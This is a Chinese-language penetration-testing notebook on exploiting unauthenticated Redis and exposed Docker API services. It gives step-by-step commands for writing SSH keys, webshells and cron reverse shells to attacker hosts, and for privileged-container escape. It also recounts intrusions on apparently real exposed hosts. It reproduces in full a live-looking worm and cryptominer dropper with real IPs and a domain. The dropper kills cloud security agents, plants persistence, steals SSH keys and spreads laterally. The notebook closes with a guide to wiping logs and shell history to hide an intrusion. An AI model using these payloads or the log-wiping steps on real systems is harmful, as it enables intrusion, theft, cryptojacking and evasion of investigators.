未授权访问漏洞

redis 未授权访问利用

漏洞描述

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

linux下:

redis ssh 写入公钥

利用条件:

1.开放3679端口和22端口
2.服务器用root权限启动redis服务(能够切换目录)

kali 攻击机生成ssh 公钥:ssh-keygen -t rsa

image

将公钥保存至1.txt:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

将生成的公钥值写入目标服务器:

cat 1.txt | redis-cli -h xxx.xxx.xxx.xxx -p 6379 -x set crackit

# 报错
(error) READONLY You can't write against a read only replica.

# 原因
表示当前redis服务是只读的,没有写权限

# 解决
1.打开redis服务对应的配置文件,把其中的属性slave-read-only的值修改为no
2. 或者直接通过redis-cli命令打开客户端模式,输入slaveof no one命令,让当前redis服务停止接收其他redis服务的同步,同时把自己升格为主数据库。

image

连接目标,并做一定配置:

  1. redis-cli -h xxx.xxx.xxx.xxx -p 6379

  2. config set dir /root/.ssh/

    # 报错1
    (error) ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config
    
    # 解决
    config set protected-mode no
    config set slave-read-only no
     
    # fail 
    # redis 版本过高
    # Server
    redis_version:7.0.0
    
    
    # 报错2
    (error) ERR Changing directory: Permission denied
    
    # 说明redis并不是以root启动的
    
    
  3. config set dbfilename authorized_keys

将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 authorized_keys,通过 save 指令即可写入文件。

最后进行ssh 连接即可。

ssh -i id_rsa root@xxx.xxx.xxx.xxx

利用redis 写webshell

利用前提:

1.靶机redis链接未授权,在攻击机上能用redis-cli连上
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
(可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

利用redis 计划反弹shell

利用redis写入文件到计划任务目录下执行

端口监听:

在攻击者服务器上监听一个端口(未被占用的任意端口):

nc -lvnp 4444

攻击详情:

连接redis,写入反弹shell

redis-cli -h xxx.xxx.xxx.xxx
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1\n\n"  # 攻击者ip
config set dir /var/spool/cron
config set dbfilename root
save

【补充】

/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,比如tom建的crontab任务对应的文件就是/var/spool/cron/tom。一般一个用户最多只有一个crontab文件。

/etc/crontab 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。

windows 下:

Redis在Windows环境下Getshell · Uknow - Stay hungry Stay foolish (uknowsec.cn)

Redis未授权访问在windows下的利用 - 知乎 (zhihu.com)

hacker举例

Redis扩散病毒之Redis数据丢失并设置backup - 掘金 (juejin.cn)

记录2022-08-06关于Redis的backup的病毒 - 知乎 (zhihu.com)

黑客 利用redis未授权,使用flushall清空redis数据库,

同时设置backup1、backup2、backup3、backup4进行执行。即下面对应的脚本!

image

image

  1. curl -s http://5.42.67.3/2.gif | bash

  2. echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84NC41NC41MC42MS9kLnB5IikucmVhZCgpKScgfHwgcHl0aG9uMiAtYyAnaW1wb3J0IHVybGxpYjtleGVjKHVybGxpYi51cmxvcGVuKCJodHRwOi8vODQuNTQuNTAuNjEvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -

    base64 解码内容:
    
    python -c 'import urllib;exec(urllib.urlopen("http://84.54.50.61/d.py").read())' || python2 -c 'import urllib;exec(urllib.urlopen("http://84.54.50.61/d.py").read())'
    
  3. wget -q -O - http://5.42.67.3/2.gif | bash

  4. lwp-download http://5.42.67.3/2.gif /tmp/2.gif; bash /tmp/2.gif; rm -rf /tmp/2.gif

http://5.42.67.3/2.gif 【vps shell 脚本如下】

#!/bin/bash

mkdir -p /tmp /var/tmp
chmod 1777 /tmp /var/tmp
setenforce 0 2>/dev/null
ulimit -u 50000
ulimit -n 50000
sysctl -w fs.file-max=500000
mount -o remount,exec /tmp
mount -o remount,exec /var/tmp
ufw disable
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -F
chattr -ia /etc/ld.so.preload
> /etc/ld.so.preload

DIR="/tmp"
cd "$DIR"



if [ $(id -u) -eq 0 ]; then
    if ps aux|grep -i "[a]liyun"; then
        curl http://update.aegis.aliyun.com/download/uninstall.sh|bash
        curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh|bash
        pkill aliyun-service
        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis*
        systemctl stop aliyun.service
        systemctl disable aliyun.service
        service bcm-agent stop
        yum remove bcm-agent -y
        apt-get remove bcm-agent -y
    elif ps aux|grep -i "[y]unjing"; then
        /usr/local/qcloud/stargate/admin/uninstall.sh
        /usr/local/qcloud/YunJing/uninst.sh
        /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
fi


dw="http://87.121.221.176"



if [ $(ping -c 1 dw.c4kdeliver.top 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
    url="http://dw.c4kdeliver.top"
else
    url="http://5.42.67.3"
fi

get() {
    chattr -ia "$2"
    wget --no-check-certificate -q -O "$2" "$1" || curl -k "$1" -o "$2" || lwp-download "$1" "$2"
    chmod +x "$2"
    chattr +ia "$2"
}

payload="(curl -s $url/2.gif || wget -q -O - $url/2.gif || lwp-download $url/2.gif /tmp/2.gif) | bash -sh; bash /tmp/2.gif; rm -rf /tmp/xms; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84NC41NC41MC42MS9kLnB5IikucmVhZCgpKScgfHwgcHl0aG9uMiAtYyAnaW1wb3J0IHVybGxpYjtleGVjKHVybGxpYi51cmxvcGVuKCJodHRwOi8vODQuNTQuNTAuNjEvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -"


createservices() {
    echo IyEvYmluL2Jhc2gKIyMjIEJFR0lOIElOSVQgSU5GTwojIFByb3ZpZGVzOiAgICAgICAgICBsaW51eCAtZAojIFJlcXVpcmVkLVN0YXJ0OgojIFJlcXVpcmVkLVN0b3A6CiMgRGVmYXVsdC1TdGFydDogICAgIDIgMyA0IDUKIyBEZWZhdWx0LVN0b3A6CiMgU2hvcnQtRGVzY3JpcHRpb246IGxpbnV4LWQKIyMjIEVORCBJTklUIElORk8KaWYgWyAkKHBpbmcgLWMgMSBkdy5jNGtkZWxpdmVyLnRvcCAyPi9kZXYvbnVsbHxncmVwICJieXRlcyBvZiBkYXRhIiB8IHdjIC1sICkgLWd0ICcwJyBdOwp0aGVuCiAgICB1cmw9Imh0dHA6Ly9kdy5jNGtkZWxpdmVyLnRvcCIKZWxzZQogICAgdXJsPSJodHRwOi8vNS40Mi42Ny4zIgpmaQoKcGF5bG9hZD0iKGN1cmwgLXMgJHVybC8yLmdpZiB8fCB3Z2V0IC1xIC1PIC0gJHVybC8yLmdpZiB8fCBsd3AtZG93bmxvYWQgJHVybC8yLmdpZiAvdG1wLzIuZ2lmKSB8IGJhc2ggLXNoOyBiYXNoIC90bXAvMi5naWY7IHJtIC1yZiAvdG1wL3htczsgZWNobyBjSGwwYUc5dUlDMWpJQ2RwYlhCdmNuUWdkWEpzYkdsaU8yVjRaV01vZFhKc2JHbGlMblZ5Ykc5d1pXNG9JbWgwZEhBNkx5ODFMalF5TGpZM0xqTXZaQzV3ZVNJcExuSmxZV1FvS1NrbklIeDhJSEI1ZEdodmJqSWdMV01nSjJsdGNHOXlkQ0IxY214c2FXSTdaWGhsWXloMWNteHNhV0l1ZFhKc2IzQmxiaWdpYUhSMGNEb3ZMelV1TkRJdU5qY3VNeTlrTG5CNUlpa3VjbVZoWkNncEtTYz0gfCBiYXNlNjQgLWQgfCBiYXNoIC0iCgoKY2FzZSAiJDEiIGluCiAgICBzdGFydCkKICAgICAgICAjIFN0YXJ0IHRoZSBzZXJ2aWNlCiAgICAgICAgZWNobyAiU3RhcnRpbmcgbGludXgtZC4uLiIKICAgICAgICBzaCAtYyAiJHBheWxvYWQiCiAgICAgICAgOzsKICAgIHN0b3ApCiAgICAgICAgIyBTdG9wIHRoZSBzZXJ2aWNlCiAgICAgICAgZWNobyAiU3RvcHBpbmcgbGludXgtZC4uLiIKICAgICAgICBzaCAtYyAiJHBheWxvYWQiCiAgICAgICAgOzsKICAgIHJlc3RhcnQpCiAgICAgICAgIyBTdG9wIGFuZCB0aGVuIHN0YXJ0IHRoZSBzZXJ2aWNlCiAgICAgICAgc2ggLWMgIiRwYXlsb2FkIgogICAgICAgIHNsZWVwIDEKICAgICAgICBzaCAtYyAiJHBheWxvYWQiCiAgICAgICAgOzsKICAgICopCiAgICAgICAgIyBQcmludCBoZWxwIG1lc3NhZ2UKICAgICAgICBlY2hvICJVc2FnZTogJDAge3N0YXJ0fHN0b3B8cmVzdGFydH0iCiAgICAgICAgZXhpdCAxCiAgICAgICAgOzsKZXNhYw== | base64 -d  > /etc/init.d/linux-d
    echo IyEvYmluL2Jhc2gKCmlmIFsgJChwaW5nIC1jIDEgZHcuYzRrZGVsaXZlci50b3AgMj4vZGV2L251bGx8Z3JlcCAiYnl0ZXMgb2YgZGF0YSIgfCB3YyAtbCApIC1ndCAnMCcgXTsKdGhlbgogICAgdXJsPSJodHRwOi8vZHcuYzRrZGVsaXZlci50b3AiCmVsc2UKICAgIHVybD0iaHR0cDovLzUuNDIuNjcuMyIKZmkKCnBheWxvYWQ9IihjdXJsIC1zICR1cmwvMi5naWYgfHwgd2dldCAtcSAtTyAtICR1cmwvMi5naWYgfHwgbHdwLWRvd25sb2FkICR1cmwvMi5naWYgL3RtcC8yLmdpZikgfCBiYXNoIC1zaDsgYmFzaCAvdG1wLzIuZ2lmOyBybSAtcmYgL3RtcC94bXM7IGVjaG8gY0hsMGFHOXVJQzFqSUNkcGJYQnZjblFnZFhKc2JHbGlPMlY0WldNb2RYSnNiR2xpTG5WeWJHOXdaVzRvSW1oMGRIQTZMeTgxTGpReUxqWTNMak12WkM1d2VTSXBMbkpsWVdRb0tTa25JSHg4SUhCNWRHaHZiaklnTFdNZ0oybHRjRzl5ZENCMWNteHNhV0k3WlhobFl5aDFjbXhzYVdJdWRYSnNiM0JsYmlnaWFIUjBjRG92THpVdU5ESXVOamN1TXk5a0xuQjVJaWt1Y21WaFpDZ3BLU2M9IHwgYmFzZTY0IC1kIHwgYmFzaCAtIgpzaCAtYyAiJHBheWxvYWQiID4vZGV2L251bGwgMj4mMSA= | base64 -d > /bin/sysdown
    echo W1VuaXRdCkRlc2NyaXB0aW9uPWxpbnV4LWQKCldhbnRzPW5ldHdvcmsudGFyZ2V0CkFmdGVyPXN5c2xvZy50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1mb3JraW5nCkV4ZWNTdGFydD0vYmluL2Jhc2ggLWMgJ2NwIC1mIC1yIC0tIC9iaW4vc3lzZG93biAvYmluLy1weXRob24gMj4vZGV2L251bGwgJiYgL2Jpbi8tcHl0aG9uID4vZGV2L251bGwgMj4mMSAmJiBybSAtcmYgLS0gL2Jpbi8tcHl0aG9uIDI+L2Rldi9udWxsJwpSZXN0YXJ0PWFsd2F5cwpLaWxsTW9kZT1wcm9jZXNzCgpbSW5zdGFsbF0KV2FudGVkQnk9bXVsdGktdXNlci50YXJnZXQ= | base64 -d > /etc/systemd/system/linux-d.service
    echo "$payload" > ~/.bash_profile
    echo "$payload" > ~/.bashrc
    echo "/etc/init.d/linux-d start" > /etc/rc.local
    chmod +x /etc/init.d/linux-d
    chmod +x /bin/sysdown
    chmod +x /etc/systemd/system/linux-d.service
    chattr +ia /etc/systemd/system/linux-d.service
    chattr +ia /etc/init.d/linux-d
    systemctl start linux-d
    systemctl enable linux-d
}

makecron() {
    arr=("/dev/shm" "/tmp" "/var/tmp" "/$HOME")
    rand=$(( RANDOM % ${#arr[@]} ))
    ch="${arr[$rand]}"

    list=("/etc/cron.d/root" "/etc/cron.d/apache" "/etc/cron.d/nginx" "/var/spool/cron/root" "/etc/cron.hourly/oanacroner")

    echo -e "*/10 * * * * $payload" | crontab -
    echo -e "*/10 * * * * root $payload##" > /etc/cron.d/root
    echo -e "*/10 * * * * $payload##" > /etc/cron.d/apache
    echo -e "*/10 * * * * $payload\n##" > /etc/cron.d/nginx
    echo -e "*/10 * * * * root $payload\n##" > /var/spool/cron/root
    echo -e "*/10 * * * * $payload\n##" > /var/spool/cron/crontabs/root
    echo -e "*/10 * * * * $payload\n##" > /etc/cron.hourly/oanacroner

    for arch in "${list[@]}"; do
        chmod +x "$arch"
        chattr +ia "$arch"
    done
}

unlock(){
    chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1
}

lock(){
    chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1
}


m() {
    if [ $(netstat -ant | grep -e 217.182.205.238 -e 89.185.85.102 | grep ESTAB | sort | uniq | wc -l ) -gt '0' ];
    then
        echo " "
    else
      get $url/$(uname -m) $DIR/-bash
      chmod +x $DIR/-bash
      $DIR/-bash -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d
      $DIR/-bash -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d -pwn
      rm -rf $DIR/-bash
    fi
}


b(){
    if [ $(netstat -ant | grep -e 51.255.171.23 | grep ESTAB | sort | uniq | wc -l ) -gt '0' ];
    then
        echo " "
    else
        get $url/bashirc.$(uname -m) $DIR/-python
        chmod +x $DIR/-python
        $DIR/-python
        rm -rf $DIR/-python
    fi
}

c() {
    createservices
    unlock
    crontab -r
    makecron
    lock
}

s() {
_sigx="/tmp/.nonex009"

ip a | grep 'BROADCAST\|inet' | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | sort -u > /tmp/ips.txt
if [ ! -f $_sigx ]; then
    touch $_sigx
    while IFS= read -r ip; do
        if [[ $ip == 192.168 ]]; then
            lan="192.168"
        elif [[ $ip == 172.16 || $ip == 172.17 || $ip == 172.18 || $ip == 172.19 || $ip == 172.20 || $ip == 172.21 || $ip == 172.22 || $ip == 172.23 || $ip == 172.24 || $ip == 172.25 || $ip == 172.26 || $ip == 172.27 || $ip == 172.28 || $ip == 172.29 || $ip == 172.30 || $ip == 172.31 ]]; then
            lan=$(echo $ip | awk -F. '{print $1"."$2}')
        elif [[ $ip == 10.* ]]; then
            lan=$(echo $ip | awk -F. '{print $1"."$2}')
        fi

        if [ -n "$lan" ]; then
            echo "IP $ip matches LAN setup $lan"
            get $dw/spirit $DIR/spirit
            get $dw/px3 $DIR/p.lst
            sleep 5
            nohup $DIR/spirit scan --range $lan.*.* --timeout 5s -p 22 -threads 300
            sleep 5
            mv $DIR/scan.lst $DIR/h.lst
            sleep 5
            nohup $DIR/spirit banner -t 100 -T 3s
            sleep 5
            mv /tmp/b.lst /tmp/h.lst
            sleep 5
            nohup $DIR/spirit -t 5s -c "(curl -s http://5.42.67.3/3.gif?ssh || wget -q -O - http://5.42.67.3/3.gif?ssh || lwp-download http://5.42.67.3/3.gif?ssh /tmp/3.gif) | bash -sh; bash /tmp/3.gif; rm -rf /tmp/3.gif; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84NC41NC41MC42MS9kLnB5IikucmVhZCgpKScgfHwgcHl0aG9uMiAtYyAnaW1wb3J0IHVybGxpYjtleGVjKHVybGxpYi51cmxvcGVuKCJodHRwOi8vODQuNTQuNTAuNjEvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -" brute -j 100
        fi

    done < /tmp/ips.txt
fi
}

localssh(){
    KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*'|grep -vw pub)
    KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print $2 }')
    KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem'|uniq)
    HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep HostName|awk -F "HostName" '{print $2}')
    HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history|grep -E "(ssh|scp)"|grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
    HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts|grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}"|uniq)
    USERZ=$(
        echo root
        find ~/ /root /home -maxdepth 2 -name '\.ssh'|uniq|xargs find|awk '/id_rsa/'|awk -F'/' '{print $3}'|uniq|grep -v "\.ssh"
    )
    users=$(echo $USERZ|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
    hosts=$(echo "$HOSTS $HOSTS2 $HOSTS3"|grep -vw 127.0.0.1|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
    keys=$(echo "$KEYS $KEYS2 $KEYS3"|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
    for user in $users; do
        for host in $hosts; do
            for key in $keys; do
                chmod +r $key; chmod 400 $key
                ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -s http://5.42.67.3/2.gif || wget -q -O - http://5.42.67.3/2.gif || lwp-download http://5.42.67.3/2.gif /tmp/2.gif) | bash -sh; bash /tmp/2.gif; rm -rf /tmp/2.gif; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84NC41NC41MC42MS9kLnB5IikucmVhZCgpKScgfHwgcHl0aG9uMiAtYyAnaW1wb3J0IHVybGxpYjtleGVjKHVybGxpYi51cmxvcGVuKCJodHRwOi8vODQuNTQuNTAuNjEvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -"
            done
        done
    done
}

if [[ "$(uname -m)" == "x86_64"  ||  "$(uname -m)" == "i686" ]]; then
    c
    m
    b
    #s
fi

Docker 未授权访问

简介

如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制的话,攻击者就可以通过Docker未授权来控制服务器。

fofa语法

port="2375" && body="{“message”:“page not found”}"

利用

反弹shell方法1

创建容器,利用bash和crontab计划任务向宿主机写入shell,centos系统挂载路径为: /var/spool/cron/root;ubuntu系统为: /var/spool/cron/crontabs/root;

# 查看宿主机可用镜像
docker -H tcp://172.19.101.34:2375 image

# 选择合适镜像创建容器
docker -H tcp://172.19.101.34:2375 run -it -v /var/spool/cron/:/var/spool/cron/ image_id /bin/bash

# 启动刚刚创建的容器并连接
docker -H tcp://172.19.101.34:2375 start ct_id
docker -H tcp://172.19.101.34:2375 exec -it --user root ct_id /bin/bash

# 执行shell反弹命令
root@bfd2539dfdc8:/# echo '* * * * * bash -i >& /dev/tcp/attack_ip/8088 0>&1' >> /var/spool/cron/root

反弹shell方法2

因为docker 有远程连接命令,由于2375端口暴露,可未授权访问,所以现在可以在kali上通过远程方式连接doker

docker -H tcp://192.168.241.142:2375 ps
docker -H tcp://192.168.241.142:2375 images

链接进去之后,如果发现没有镜像文件,那么去官方下载一个镜像文件 alpine。

docker -H tcp://192.168.241.142:2375 pull alpine

接下来启动容器,并进入 alpine 容器

docker -H tcp://192.168.241.142:2375 images
docker -H tcp://192.168.241.142:2375 run -it --privileged alpine  /bin/sh

#在kali中启动一个有交互的shell,并且是特权镜像
#当操作者执行docker run —privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

进入容器后,使用fdisk -l命令查看磁盘文件
注意:在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

从返回的type信息中可以判断出,/dev/sda5是主分区,那么接下里直接在容器内部挂载宿主机磁盘

新建一个目录:mkdir /wxiaoge
挂在磁盘到新建目录:mount /dev/sda5 /wxiaoge
进入目录:cd wxiaoge/
新建文件:touch wxiaoge.txt

接下里看一下靶机Ubuntu中确实创建了 wxiaoge.txt 文件,docker逃逸成功。

接下来可以反弹主机shell
创建 wxiaoge.sh 文件

vi wxiaoge.sh

写入反弹 shell

#!/bin/bash
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
bash -c "bash -i  >&/dev/tcp/192.168.241.128/6666 0>&1"

之后给 wxiaoge.sh 添加执行权限,并且写入到定时任务中

chmod +x wxiaoge.sh 
echo '*/1 * * * *  /wxiaoge.sh' >> /wxiaoge/var/spool/cron/crontabs/root #每分钟执行一次wxiaoge.sh 文件

kali打开监听端口,成功返回 shell

写入ssh公钥,进行getshell

# 启动宿主机的镜像,并将该宿主机的根目录挂在早容器的/mnt目录下(启动之后就会获得一个docker 容器shell)

docker -H tcp://<ip>:2375 run -it -v /:/mnt <Image ID> /bin/bash

# kali 攻击机生成 ssh 公私钥
ssh-keygen -t rsa

# 进入容器 /mnt/root  刚好映射在/root/.ssh/
写入 ssh 公钥

# 连接

渗透实战

渗透实战1

docker -H tcp://X.X.X.X:2375 ps

CONTAINER ID   IMAGE          COMMAND                  CREATED        STATUS        PORTS     NAMES
620ef4385617   ubuntu         "/bin/bash -c 'apt-g…"   26 hours ago   Up 26 hours             vibrant_diffie
2dd536719c01   ubuntu:18.04   "/bin/bash"              32 hours ago   Up 31 hours             baleful_obelus
05e2c8e66881   ubuntu:18.04   "/bin/bash"              42 hours ago   Up 42 hours             adroit_amatorculist
                                     
└─# docker -H tcp://X.X.X.X:2375 images

REPOSITORY                                     TAG               IMAGE ID       CREATED        SIZE
ubuntu                                         18.04             f9a80a55f492   2 months ago   63.2MB


# 将宿主机根目录挂在到 /mnt
docker -H tcp://X.X.X.X:2375 run -it -v /:/mnt f9a80a55f492  /bin/bash

# 生成ssh 公钥后写入
echo "ssh-rsa XXXX-公钥" > /mnt/root/.ssh/authorized_keys 
# 实际运用在改为追加不易发现
echo "ssh-rsa XXXX-公钥" >> /mnt/root/.ssh/authorized_keys 

# ssh 成功连接

ssh -i id_rsa root@X.X.X.X  

渗透实战2

资产1
└─# docker -H tcp://X.X.X.X:2375 images
REPOSITORY                  TAG       IMAGE ID       CREATED        SIZE
busybox                     latest    a416a98b71e2   4 weeks ago    4.26MB
caseerpnet/casemainmodule   latest    b0854c52a750   4 weeks ago    246MB
ubuntu                      latest    5a81c4b8502e   6 weeks ago    77.8MB
alpine                      latest    c1aabb73d233   2 months ago   7.33MB
ubuntu                      18.04     f9a80a55f492   2 months ago   63.2MB
hello-world                 latest    9c7a54a9a43c   3 months ago   13.3kB


# 挂载容器
docker -H tcp://X.X.X.X:2375 run -it -v /:/mnt 9c7a54a9a43c  /bin/bash

# docker: Error response from daemon: failed to create shim task: OCI runtime create failed: unable to retrieve OCI runtime error

# docker 找不到runc 无法利用
资产2
└─# docker -H tcp://X.X.X.X:2375 images
REPOSITORY                TAG       IMAGE ID       CREATED         SIZE
busybox                   latest    a416a98b71e2   4 weeks ago     4.26MB
node                      20        b098c9ebef91   5 weeks ago     1.1GB
node                      latest    b098c9ebef91   5 weeks ago     1.1GB
ubuntu                    latest    5a81c4b8502e   6 weeks ago     77.8MB
busybox                   <none>    5242710cbd55   7 weeks ago     4.26MB
alpine                    3.18      c1aabb73d233   2 months ago    7.33MB
alpine                    latest    c1aabb73d233   2 months ago    7.33MB
python                    3.11      c0e63845ae98   2 months ago    1.01GB
ubuntu                    18.04     f9a80a55f492   2 months ago    63.2MB
hello-world               latest    9c7a54a9a43c   3 months ago    13.3kB
giansalex/monero-miner    latest    1b9aeb7af41f   12 months ago   19.8MB
pmietlicki/monero-miner   latest    0ee5199b85b5   12 months ago   334MB


# 挂载容器
docker -H tcp://X.X.X.X:2375 run -it -v /:/mnt f9a80a55f492  /bin/bash

# 写入 ssh 公钥
echo "ssh-rsa XXX-公钥" > /mnt/root/.ssh/authorized_keys 

# bash: /mnt/root/.ssh/authorized_keys: Operation not permitted

# chmod: changing permissions of 'authorized_keys': Operation not permitted

root@571eeecb255b:/mnt/root/.ssh# lsattr authorized_keys
----ia--------e------- authorized_keys

# 去除 ia ,再使用chmod 修改权限
chattr -ia authorized_keys

# chattr: Operation not permitted while setting flags on authorized_keys

# 没有相应权限

Linux下chattr与lsattr命令详解_chattr -i_IT_狂奔者的博客-CSDN博客

为了恢复chattr的功能,解决办法如下:

# cp /usr/bin/chattr /usr/bin/chattr2
# chmod 755 /usr/bin/chattr2
# chattr2 -i /usr/bin/chattr
# chmod 755 /usr/bin/chattr
# ls -la /usr/bin/chattr  # lsattr /usr/bin/chattr -rwxr-xr-x 1 root root 9664 2010-08-17 01:29 /usr/bin/chattr -----------------e- /usr/bin/chattr

大致思路是:复制chattr的副本chattr2,用chmod来修改chattr2的权限(号码为755)。然后反过来使用chattr2打开chattr的权限,再用chmod修改。最后chattr就能使用了。

【这个思路这里也失败了】

补充关于权限:i和a的说明

i:不可修改权限 例:chattr u+i filename 则filename文件就不可修改,无论任何人,如果需要修改需要先删除i权限,用chattr -i filename就可以了。查看文件是否设置了i权限用lsattr filename。

a:只追加权限, 对于日志系统很好用,这个权限让目标文件只能追加,不能删除,而且不能通过编辑器追加。可以使用chattr +a设置追加权限。
柳暗花明

chattr: Operation not permitted while setting flags on file 问题解决 - kidicc - 博客园 (cnblogs.com)

chattr命令使用时需要CAP_LINUX_IMMUTABLE,而在docker是默认禁用的。解决办法是在docker启动时添加--cap-add参数。
docker run --cap-add LINUX_IMMUTABLE -it bash

# 挂载mnt 且
docker -H tcp://X.X.X.X:2375 run --cap-add LINUX_IMMUTABLE -it -v /:/mnt 5a81c4b8502e  /bin/bash

root@14d6e2c0e1c6:/mnt/root/.ssh# lsattr authorized_keys
----ia--------e------- authorized_keys
root@14d6e2c0e1c6:/mnt/root/.ssh# chattr -i authorized_keys
root@14d6e2c0e1c6:/mnt/root/.ssh# lsattr authorized_keys
-----a--------e------- authorized_keys

# 成功!!!

追加 ssh 公钥
echo "ssh-rsa XXX-公钥" >> /mnt/root/.ssh/authorized_keys 

# ssh 连接

ssh -i id_rsa root@X.X.X.X  

# 这里可能会有存在漏洞的主机未开启ssh服务、配置等问题,需要自行修改相应配置才能ssh远程连接。

功成身退-抹除痕迹

Linux 入侵痕迹清理技巧-腾讯云开发者社区-腾讯云 (tencent.com)

linux 系统痕迹命令(详细总结) - 知乎 (zhihu.com)

擦除命令

01、清除history历史命令记录

查看历史操作命令:

查看历史操作命令:history
history记录文件:more  ~/.bash_history

第一种方式:

(1)编辑history记录文件,删除部分不想被保存的历史命令。

vim ~/.bash_history

(2)清除当前用户的history命令记录

history -c

第二种方式:

(1)利用vim特性删除历史命令

#使用vim打开一个文件
vi test.txt
# 设置vim不记录命令,Vim会将命令历史记录,保存在viminfo文件中。
:set history=0
# 用vim的分屏功能打开命令记录文件.bash_history,编辑文件删除历史操作命令
vsp ~/.bash_history
# 清楚保存.bash_history文件即可。

(2)在vim中执行自己不想让别人看到的命令

:set history=0
:!command

第三种方式:

通过修改配置文件/etc/profile,使系统不再保存命令记录。

HISTSIZE=0

第四种方式:

登录后执行下面命令,不记录历史命令(.bash_history)

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

02、清除系统日志痕迹

Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志。

/var/log/btmp   记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp    记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp    记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure   记录与安全相关的日志信息
/var/log/message  记录系统启动后的信息和错误日志

第一种方式:清空日志文件
清除登录系统失败的记录:

[root@centos]# echo > /var/log/btmp 
[root@centos]# lastb           //查询不到登录失败信息

清除登录系统成功的记录:

[root@centos]# echo > /var/log/wtmp  
[root@centos]# last              //查询不到登录成功的信息

清除相关日志信息:

清除用户最后一次登录时间:echo > /var/log/lastlog          #lastlog命令
清除当前登录用户的信息:echo >   /var/log/utmp             #使用w,who,users等命令
清除安全日志记录:cat /dev/null >  /var/log/secure
清除系统日志记录:cat /dev/null >  /var/log/message

第二种方式:删除/替换部分日志

日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
sed  -i '/自己的ip/'d  /var/log/messages
# 全局替换登录IP地址:
sed -i 's/192.168.166.85/192.168.1.1/g' secure

03、清除web入侵痕迹

第一种方式: 直接替换日志ip地址

sed -i 's/192.168.166.85/192.168.1.1/g' access.log

第二种方式:清除部分相关日志

# 使用grep -v来把我们的相关信息删除,
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log/

04、文件安全删除工具

(1)shred命令
